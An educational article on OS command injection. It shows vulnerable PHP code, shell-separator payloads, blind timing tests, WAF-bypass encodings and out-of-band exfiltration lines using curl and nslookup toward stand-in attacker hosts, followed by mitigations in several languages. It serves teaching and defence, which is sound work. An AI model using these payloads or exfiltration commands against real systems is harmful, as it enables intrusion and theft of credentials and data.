Command Injection - OS-Befehlseinschleusung
Command injection occurs when user input is passed unfiltered to operating system commands. Attackers can inject their own OS commands and execute them on the server. Typical vectors: shell functions in PHP, Python subprocess with `shell=True`, Node.js shell calls. Impact: complete system compromise. Protection: never use shell calls with user input, use parameterized commands, and apply least privilege for processes.
Command Injection (also known as OS Command Injection) is a critical class of vulnerabilities in which user input is passed unfiltered to operating system shell commands. It is categorized as OWASP A03:2021 (Injection) and directly leads to Remote Code Execution (RCE)—the worst possible outcome of a web vulnerability.
The Basic Principle
Vulnerable code (PHP example):
// Ping function for network diagnostic tool:
$host = $_GET['host'];
$output = shell_exec("ping -c 1 " . $host); // UNSAFE!
echo $output;
Normal request:
GET /ping?host=8.8.8.8
→ Executed: ping -c 1 8.8.8.8 ✓
Attack – Semicolon separator:
GET /ping?host=8.8.8.8; id
→ Executed: ping -c 1 8.8.8.8; id
→ Output: PING... ; uid=33(www-data)...
→ Two commands executed!
Additional shell operators:
; Semicolon: always executes the second command after the first
&& AND: executes the second only if the first succeeds
|| OR: executes the second only if the first fails
| Pipe: Output of the first as input to the second
$() Command substitution: $(id)
All operator variations (URL-encoded):
;id → Direct second command
&&id; → If ping succeeds, then id
||id → If ping fails, then id
|id → Pipe to id
%0aid → Newline + id (URL-encoded \n)
Blind Command Injection
Blind Command Injection (no output visible):
Problem: Command output not visible in response
Solution: Out-of-band techniques
Time-Based Detection:
# Sleep command → Response is measurably delayed:
host=8.8.8.8; sleep 5
→ Response arrives after 5+ seconds → Injection confirmed!
Ping-based (cross-platform):
; ping -c 5 127.0.0.1 (Linux: 5 pings = ~5 seconds)
& ping -n 5 127.0.0.1 (Windows: 5 pings)
DNS Exfiltration (Out-of-Band):
# Use Burp Suite Collaborator URL:
; nslookup $(id).attacker-controlled.burpcollaborator.net
or:
; curl http://$(id).attacker.com/
→ DNS request contains command output as a subdomain!
→ Command output exfiltrated without HTTP response access
HTTP Exfiltration:
; curl -s http://attacker.com/?data=$(whoami | base64)
→ Output exfiltrated via HTTP parameter
Context: also possible in headers, cookies, XML, JSON!
User-Agent: Mozilla; id
Cookie: session=abc; id
XML: <host>8.8.8.8; id</host>
JSON: {"host": "8.8.8.8; id"}
→ Anywhere user input ends up in shell commands!
Platform Differences
Linux vs. Windows Command Injection:
Linux/Unix:
Command separators: ; | && || \n $()
Useful commands:
id → current user
whoami → username
uname -a → OS version
ls / → root directory
cat /etc/passwd → user list
env → environment variables (API keys!)
Windows:
Command separators: & | && ||
Useful commands:
whoami → User
systeminfo → System info
dir C:\ → Directory
net user → All users
net localgroup administrators → Admins
ipconfig /all → Network
Context-dependent separators:
In URL parameters: %3b (;) %7c (|) %26 (&)
In JSON strings: " followed by + separator + command
In XML: CDATA escape or encoding
Detection in Penetration Testing
Command Injection Testing:
1. Simple tests (direct output):
;id
&&id;
|id
$(id)
Expected outputs (Linux):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Injection confirmed!
2. Blind Detection (Time-Based):
; sleep 5
& timeout /T 5 (Windows)
→ Response time > 5s? → Injection!
In Burp Suite Intruder: Measure response time!
3. Out-of-Band (Burp Collaborator):
# Generate Collaborator subdomain
; curl https://abc123.burpcollaborator.net/
→ Received HTTP request at Collaborator? → RCE!
4. Test in all input fields:
□ GET/POST parameters
□ HTTP headers (User-Agent, Referer, X-Forwarded-For)
□ Cookie values
□ File names during file upload
□ JSON/XML fields
□ Email addresses, hostnames, IPs
5. Test encodings (WAF bypass):
;id → %3bid → %253bid (double-encoded)
;id → $(id)
;{id,} (brace expansion in Bash)
Mitigation Measures
Secure alternatives to shell calls:
PRINCIPLE: Never pass user input into shell commands!
Instead: Use language-native libraries!
PHP - Instead of shell_exec():
// INSECURE: shell_exec("ping -c 1 " . $_GET['host'])
// CORRECT - Validate input + escapeshellarg():
$host = filter_var($_GET['host'], FILTER_VALIDATE_IP);
if (!$host) die('Invalid IP address');
// Only process validated IP addresses
// If a shell call is unavoidable:
$safe = escapeshellarg($_GET['host']);
$output = shell_exec("ping -c 1 " . $safe);
// escapeshellarg: encloses with ' and escapes all special characters
Python - Instead of os.system():
# UNSAFE: os.system("ping " + user_input)
# SAFE - subprocess with array, no shell=True!
import subprocess
import ipaddress
try:
ipaddress.ip_address(user_input) # IP validation
except ValueError:
raise Exception("Invalid IP")
result = subprocess.run(
['ping', '-c', '1', user_input], # Array: no shell parsing!
capture_output=True, text=True, timeout=5
# shell=False (default!) → NO shell interpreter!
)
# Each element in the array is a separate argument
# No semicolons, no &&, no | allowed!
Node.js - execFile instead of shell functions:
const { execFile } = require('child_process');
// execFile calls the program DIRECTLY - NO shell!
// No shell parsing → no injection possible
execFile('ping', ['-c', '1', validatedHost], (error, stdout) => {
// validatedHost must be validated as an IP address beforehand!
});
Java:
// ProcessBuilder: Array-based, no shell
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", validatedHost);
pb.start(); // No Runtime.getRuntime().exec("ping " + host)!
General protective measures:
□ Whitelist validation: only allowed characters (IP regex, alphanumeric)
□ Least privilege: Web server process without root privileges!
□ AppArmor/SELinux: Limit process to allowed syscalls
□ Sandboxing: Container/chroot for external processes
□ WAF: Filter known injection patterns
□ Monitoring: Unexpected processes from web server user → SOC alert
□ Principle: Avoid shell calls in web applications!
For Ping/DNS: Use native libraries (Net::Ping, socket)